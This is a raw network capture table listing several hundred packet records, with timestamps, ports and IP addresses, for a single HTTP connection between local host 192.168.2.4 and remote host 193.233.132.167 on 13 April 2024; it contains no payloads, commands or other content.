Apr 13, 2024 20:21:09.049906969 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.049906969 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050133944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050152063 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050168037 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050184965 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050201893 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050216913 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050234079 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050249100 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050266981 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050273895 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050275087 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050275087 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050275087 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050275087 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050275087 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050275087 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050282955 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050297976 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050314903 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050314903 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050314903 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050326109 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050333023 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050340891 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050348997 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050364971 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050365925 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050374985 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050383091 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050393105 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050400019 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050406933 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050417900 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050429106 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050435066 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050437927 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050451040 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050458908 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050468922 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050479889 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050486088 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050489902 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050503969 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050509930 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050523043 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050537109 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050539017 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050555944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050559044 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050568104 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050571918 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050580978 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050587893 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050601006 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050605059 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050611019 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050621033 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050632000 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050637007 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050648928 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050652981 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050663948 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050673008 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050689936 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050688982 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050688982 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050705910 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050721884 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050724030 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050734043 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050738096 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050750017 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050755024 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050769091 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050771952 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050781012 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050789118 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050798893 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050805092 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050817013 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050821066 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050831079 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050837994 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050851107 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050857067 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050859928 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050873995 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050880909 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050889969 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050903082 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050906897 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050915956 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050923109 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050936937 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050940037 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050945044 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050956011 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050966024 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050972939 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.050980091 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.050990105 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051000118 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051006079 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051009893 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051023960 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051033974 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051040888 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051043987 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051058054 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051071882 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051073074 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051081896 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051090002 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051103115 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051106930 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051112890 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051124096 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051132917 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051142931 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051147938 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051158905 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051167965 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051177025 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051177979 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051192999 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051198006 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051208973 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051209927 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051227093 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051233053 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051244020 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051246881 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051260948 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051268101 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051280022 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051285028 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051296949 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051304102 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051314116 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051322937 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051335096 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051340103 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051347017 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051357031 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051374912 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051393032 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051398039 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051409006 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051424026 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051425934 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051441908 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051453114 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051459074 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051475048 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051479101 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051491976 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051500082 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051508904 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051525116 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051526070 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051543951 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051552057 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051561117 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051574945 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051578045 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051598072 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051600933 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051614046 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051625967 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051631927 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051647902 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051651001 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051664114 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051676035 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051681042 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051697016 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051697969 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051711082 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051714897 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051729918 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051732063 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051738024 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051748037 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051762104 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051764965 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051770926 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051780939 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051791906 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051798105 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051805019 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051815033 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051825047 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051831961 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051835060 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051847935 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051858902 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051866055 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051881075 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051882029 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051898003 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051898956 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051908970 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051914930 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051928997 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051932096 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051942110 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051948071 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051961899 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051964998 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051974058 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051980972 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.051992893 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.051996946 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052002907 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052012920 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052022934 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052030087 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052033901 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052046061 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052054882 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052062988 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052072048 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052078962 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052086115 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052095890 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052105904 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052113056 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052123070 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052129030 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052143097 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052145958 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052154064 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052162886 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052175999 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052180052 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052186012 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052196980 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052206039 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052212954 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052222967 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052239895 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052246094 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052254915 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052257061 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052273035 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052280903 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052289009 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052290916 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052306890 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052313089 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052324057 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052325964 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052340031 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052347898 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052356958 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052357912 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052373886 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052378893 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052388906 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052391052 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052408934 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052412033 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052427053 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052432060 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052443027 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052443981 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052460909 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052468061 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052478075 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052484989 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052494049 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052501917 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052510977 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052510977 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052529097 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052536011 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052544117 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052548885 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052570105 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052571058 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052587032 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052589893 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052611113 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052611113 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052628994 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052632093 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052645922 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052654028 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052663088 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052670002 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052679062 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052689075 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052695990 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052701950 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052714109 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052722931 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052731037 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052742958 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052747011 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052755117 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052763939 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052773952 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052779913 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052792072 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052797079 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052802086 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052813053 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052829027 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052834034 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052845955 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052851915 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052855015 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052865982 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052870035 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052886963 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052887917 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052901983 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052902937 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052918911 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052920103 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052937031 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052937984 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052954912 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052956104 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052968979 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.052973032 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.052988052 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.053004980 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.054024935 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.054063082 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.054076910 CEST	49739	80	192.168.2.4	193.233.132.167
